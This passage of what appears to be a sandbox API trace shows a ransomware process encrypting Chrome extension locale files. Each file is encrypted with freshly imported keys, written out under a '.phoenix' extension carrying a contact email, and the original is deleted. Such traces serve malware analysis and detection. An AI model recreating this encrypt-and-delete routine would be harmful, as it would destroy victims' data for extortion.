	[0254.830] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.831] CryptDestroyKey (hKey=0x151740) returned 1
	[0254.831] CloseHandle (hObject=0x2d0) returned 1
	[0254.831] CloseHandle (hObject=0x2c8) returned 1
	[0254.831] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json")) returned 1
	[0254.832] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.832] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.833] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=233) returned 1
	[0254.833] CloseHandle (hObject=0x2c8) returned 1
	[0254.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json")) returned 0x20
	[0254.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.833] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.833] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.834] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0254.834] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.834] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe9, lpOverlapped=0x0) returned 1
	[0254.835] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0254.835] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0254.836] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0254.836] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.836] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.836] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0254.836] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.836] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.836] CloseHandle (hObject=0x2c8) returned 1
	[0254.836] CloseHandle (hObject=0x2d0) returned 1
	[0254.837] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json")) returned 1
	[0254.838] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.838] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.838] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=210) returned 1
	[0254.838] CloseHandle (hObject=0x2d0) returned 1
	[0254.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json")) returned 0x20
	[0254.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.838] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.838] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.838] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.839] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.839] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0254.839] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.839] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd2, lpOverlapped=0x0) returned 1
	[0254.840] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0254.840] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0254.841] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151280) returned 1
	[0254.842] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.842] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.842] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.842] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.842] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.842] CloseHandle (hObject=0x2d0) returned 1
	[0254.842] CloseHandle (hObject=0x2c8) returned 1
	[0254.842] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json")) returned 1
	[0254.843] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.843] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=221) returned 1
	[0254.844] CloseHandle (hObject=0x2c8) returned 1
	[0254.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json")) returned 0x20
	[0254.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.844] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.844] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0254.845] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.845] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdd, lpOverlapped=0x0) returned 1
	[0254.846] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0254.846] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0254.847] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0254.847] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.847] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.847] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.847] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.847] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.847] CloseHandle (hObject=0x2c8) returned 1
	[0254.847] CloseHandle (hObject=0x2d0) returned 1
	[0254.847] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json")) returned 1
	[0254.848] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.849] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=203) returned 1
	[0254.849] CloseHandle (hObject=0x2d0) returned 1
	[0254.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json")) returned 0x20
	[0254.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.849] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.849] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.850] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0254.850] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.850] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcb, lpOverlapped=0x0) returned 1
	[0254.851] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0254.851] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0254.852] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0254.852] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.852] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.852] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.852] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.852] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.852] CloseHandle (hObject=0x2d0) returned 1
	[0254.852] CloseHandle (hObject=0x2c8) returned 1
	[0254.852] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json")) returned 1
	[0254.853] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.076] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=217) returned 1
	[0255.076] CloseHandle (hObject=0x310) returned 1
	[0255.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json")) returned 0x20
	[0255.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.076] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
